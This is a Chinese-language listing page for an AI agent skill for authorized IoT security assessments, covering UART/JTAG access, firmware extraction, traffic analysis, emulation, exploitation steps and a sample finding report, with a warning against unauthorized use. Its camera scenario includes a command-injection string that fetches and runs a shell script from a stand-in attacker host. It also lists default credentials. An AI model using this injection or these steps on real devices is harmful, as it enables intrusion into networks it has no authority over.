关于 performing-iot-security-assessment
用于评估 IoT 设备、固件、通信和关联服务的安全技能,指导授权测试从硬件检查、固件分析到仿真测试和影响验证。
主要功能
- 01检查硬件调试接口
- 02提取并分析固件
- 03审查网络与无线流量
- 04仿真固件并进行动态测试
- 05验证漏洞影响
适用场景
- 01在部署前评估 IoT 产品
- 02检查固件中的凭据与漏洞
- 03在授权评估中测试 IIoT 设备
- 04评估设备、云端和应用的攻击面
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-iot-security-assessment安装后在 Claude Code 中输入/performing-iot-security-assessment确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
执行 IoT 安全评估
何时使用
- 在企业或关键基础设施环境中部署前,评估 IoT 设备的安全性
- 作为产品安全审查或认证的一部分,评估消费级 IoT 产品的安全漏洞
- 测试工业 IoT(IIoT)设备中可能影响运营技术环境的漏洞
- 分析固件中的后门、硬编码凭据以及嵌入式组件中的已知漏洞
- 评估完整 IoT 生态系统的安全性,包括设备、云后端和移动端配套应用
请勿在未经书面授权的情况下对 IoT 设备使用,用于修改您不拥有的设备上的固件,或对医疗设备或安全关键系统使用,除非有特定的医疗设备测试授权和安全协议。
前提条件
- 对目标 IoT 设备进行硬件分析和测试所需的物理访问权限
- 硬件工具:USB 转 UART 适配器(FTDI)、Bus Pirate、逻辑分析仪、JTAG 调试器(Segger J-Link)、SPI 闪存编程器(CH341A)
- 固件分析工具:Binwalk、Firmwalker、Firmware Analysis Toolkit(FAT)、Ghidra、用于仿真的 QEMU
- 网络分析:Wireshark、tcpdump、蓝牙工具(Ubertooth、nRF Connect)、Zigbee 工具(KillerBee)
- 如需访问硬件调试点,需准备焊接设备
工作流
步骤 1:设备侦察与硬件分析
检查物理设备并识别攻击面:
- 外部检查:记录所有物理接口(USB、以太网、串口、SD 卡槽)、标签、FCC ID 和型号
- FCC ID 查询:使用 FCC ID 在 FCC 数据库(fcc.gov/oet/ea/fccid)中搜索,以查找内部照片、原理图和射频信息
- PCB 分析:打开设备外壳并拍摄 PCB 照片。识别:
- 主处理器/SoC(读取标记,搜索数据手册)
- 闪存芯片(SPI NOR、NAND、eMMC)
- 调试排针和测试点
- UART/JTAG/SWD 引脚(寻找 4 针或 10 针排针,或未焊接的焊盘)
- UART 识别:使用万用表识别 UART 引脚(TX、RX、GND、VCC)。连接 USB 转 UART 适配器,并尝试以常见波特率(9600、38400、57600、115200)访问串口控制台
- JTAG 识别:使用 JTAGulator 或手动探测来识别 JTAG 引脚(TCK、TMS、TDI、TDO、TRST)。连接 JTAG 调试器以进行内存访问和调试。
步骤 2:固件提取与分析
提取并分析设备固件:
- 固件获取方法:
- 从制造商网站或更新服务器下载
- 使用 SPI 编程器从闪存中提取:将 CH341A 连接到 SPI 闪存,使用
flashrom -p ch341a_spi -r firmware.bin读取 - 通过网络拦截捕获空中更新
- 从 UART 引导加载程序控制台提取(U-Boot:
md.b内存转储)
- 固件解包:
binwalk -e firmware.bin以提取文件系统、内核和引导加载程序组件 - 文件系统分析:
- 搜索凭据:
grep -rn "password\|passwd\|secret\|key" squashfs-root/ - 检查
/etc/shadow中的密码哈希 - 查看
/etc/init.d/中的启动脚本,以发现不安全的服务配置 - 识别 Web 服务器配置和 CGI 脚本,以发现 Web 界面漏洞
- 使用 Firmwalker:
./firmwalker.sh squashfs-root/进行自动化敏感数据发现
- 搜索凭据:
- 二进制分析:使用 Ghidra 对关键二进制文件(Web 服务器、管理守护进程、身份验证模块)进行逆向工程,以发现硬编码凭据、命令注入和缓冲区溢出漏洞
- 已知漏洞扫描:提取软件版本,并与 CVE 数据库交叉比对。使用
firmware-analysis-toolkit进行自动化 CVE 扫描。
步骤 3:网络通信分析
分析来自 IoT 设备的所有网络流量:
- 流量捕获:将设备连接到具有流量镜像(SPAN 端口)的网络,或使用串联透明网桥。使用 Wireshark 捕获所有流量。
- 协议分析:识别所使用的所有协议(HTTP、HTTPS、MQTT、CoAP、AMQP、自定义 TCP/UDP)。检查是否存在未加密的敏感数据传输。
- TLS 分析:验证 TLS 实现:证书验证、密码套件强度、证书固定。尝试使用 Burp Suite 进行 MITM 拦截。
- 云 API 分析:拦截设备到云的通信,以识别 API 端点、身份验证方法和传输的数据。测试 IDOR、身份验证绕过和过度数据暴露。
- 蓝牙/BLE 测试:使用 nRF Connect 或 Ubertooth 枚举 BLE 服务和特征。测试未授权访问、明文数据传输和静态配对密钥。
- Zigbee/Z-Wave 测试:使用 KillerBee 框架捕获和分析 Zigbee 流量,测试重放攻击,并检查密钥交换安全性。
步骤 4:固件仿真与动态测试
对固件进行仿真以进行动态安全测试:
- QEMU 仿真:使用 FirmAE 或 Firmadyne 仿真提取的固件:
python3 fat.py firmware.bin以在仿真环境中启动固件 - Web 界面测试:从仿真环境访问设备的 Web 管理界面,并测试以下内容:
- 默认凭据(admin:admin、root:root、admin:password)
- 配置参数中的命令注入
- 通过直接 URL 访问绕过身份验证
- 所有输入字段中的跨站脚本
- 状态更改操作中的 CSRF
- 服务测试:使用 Nmap 扫描仿真设备的所有开放端口,并测试每个服务是否存在已知漏洞
- 模糊测试:使用 Boofuzz 或 AFL 对网络服务进行模糊测试,以发现嵌入式服务中的内存损坏漏洞
步骤 5:利用与影响演示
利用已识别的漏洞来演示影响:
- 远程代码执行:串联已发现的漏洞(命令注入、缓冲区溢出),以在设备上实现远程代码执行
- 凭据提取:提取并破解在固件、内存转储或网络捕获中发现的凭据
- 横向移动:演示如何利用被攻陷的 IoT 设备攻击网络中的其他设备
- 持久化:展示攻击者如何在固件更新或重启后保持对设备的访问
- 物理影响:对于 IIoT 设备,演示物理操纵的可能性(更改传感器读数、修改执行器命令)
关键概念
| 术语 | 定义 |
|---|---|
| UART | Universal Asynchronous Receiver/Transmitter;一种串行通信接口,常用于嵌入式设备上的调试控制台,通常提供 root shell 访问权限 |
| JTAG | Joint Test Action Group;一种硬件调试接口,提供对处理器的直接访问,用于内存读取、代码调试和固件提取 |
| 固件 | 嵌入在设备闪存中控制其运行的软件,通常由引导加载程序、操作系统内核和根文件系统组成 |
| Binwalk | 一种固件分析工具,用于从固件映像中识别和提取嵌入式文件系统、压缩归档和二进制组件 |
| MQTT | Message Queuing Telemetry Transport;一种轻量级发布/订阅协议,常用于 IoT 设备通信,通常在没有身份验证的情况下部署 |
| BLE | Bluetooth Low Energy;许多 IoT 设备用于短距离通信的无线协议,如果未正确保护,容易受到窃听和未授权访问 |
工具与系统
- Binwalk:固件提取与分析工具,可识别固件镜像中的文件系统类型、压缩格式及嵌入数据
- Ghidra:NSA 的开源逆向工程框架,用于分析 ARM、MIPS 及其他架构的嵌入式设备二进制文件
- FirmAE/Firmadyne:自动化固件仿真平台,可在 QEMU 中启动提取出的基于 Linux 的 IoT 固件以进行动态测试
- Bus Pirate:硬件黑客多功能工具,支持 UART、SPI、I2C 和 JTAG 协议,用于与嵌入式设备调试接口交互
- Wireshark:网络协议分析器,用于捕获和分析 IoT 设备在所有协议层的网络流量
常见场景
场景:企业 IP 摄像头安全评估
背景:某公司计划在各办公室部署 200 台来自同一供应商的 IP 摄像头。部署前,安全团队要求对摄像头进行渗透测试,以识别可能被利用来访问企业网络的漏洞。
方法:
- 打开摄像头,识别 PCB 上的 UART 引脚;连接后以 115200 波特率访问 root shell,无需密码
- 从 SPI 闪存芯片提取固件并用 Binwalk 分析:发现嵌入了 BusyBox 的 Linux、lighttpd Web 服务器以及自定义管理守护进程
- 在
/etc/shadow中发现硬编码凭据(root:$1$abc$hashedpassword),并在数秒内破解 MD5 哈希(密码:camera123) - Web 界面测试发现 NTP 服务器配置字段存在命令注入:
; wget http://attacker.com/shell.sh | sh - 网络分析显示摄像头以未加密方式发送 RTSP 流,并且 ONVIF 服务在无认证的情况下暴露
- 演示横向移动:从被攻陷的摄像头扫描企业网络并访问 3 台内部服务器
- 报告建议进行网络分段、与固件供应商沟通,并将摄像头部署在隔离的 VLAN 上
陷阱:
- 只关注 Web 界面,而忽略了可提供无需认证的 root shell 的 UART/JTAG 访问
- 未分析固件中的硬编码凭据,这些凭据可能在同一型号的所有设备中共享
- 孤立地测试设备,而忽略了将易受攻击的设备部署到企业网络中所带来的网络层风险
- 忽视了云连接和移动应用组件,它们可能暴露额外的攻击面
输出格式
## Finding: Unauthenticated Root Shell via UART Debug Interface
**ID**: IOT-001
**Severity**: Critical (CVSS 9.0)
**Device**: ModelCam X200 IP Camera (Firmware v3.2.1)
**Interface**: UART serial console (115200 baud, 8N1)
**Description**:
The IP camera exposes a UART serial interface on the PCB that provides
direct root shell access without authentication. An attacker with physical
access to the device can connect a USB-to-UART adapter and obtain full
root access to the embedded Linux operating system.
**Proof of Concept**:
1. Opened device enclosure (4 Philips screws, no tamper detection)
2. Connected FTDI adapter to UART pins (J3 header on PCB)
3. Serial terminal at 115200 8N1: immediate root shell prompt
4. root@camera:~# id -> uid=0(root) gid=0(root)
**Additional Findings from Root Access**:
- /etc/shadow contains hardcoded root password (camera123) shared across all units
- WiFi credentials for any configured network stored in plaintext at /etc/wireless.conf
- RTSP stream accessible without authentication on port 554
**Impact**:
Physical access to any deployed camera grants root access to the network.
With 200 cameras deployed across offices, each camera becomes a potential
network entry point with root-level command execution capability.
**Remediation**:
1. Disable UART console access or require authentication in production firmware
2. Remove hardcoded credentials; use per-device unique passwords generated at manufacture
3. Encrypt stored WiFi credentials using a hardware-backed key
4. Deploy cameras on an isolated VLAN with no access to the corporate network
评论
支持 Markdown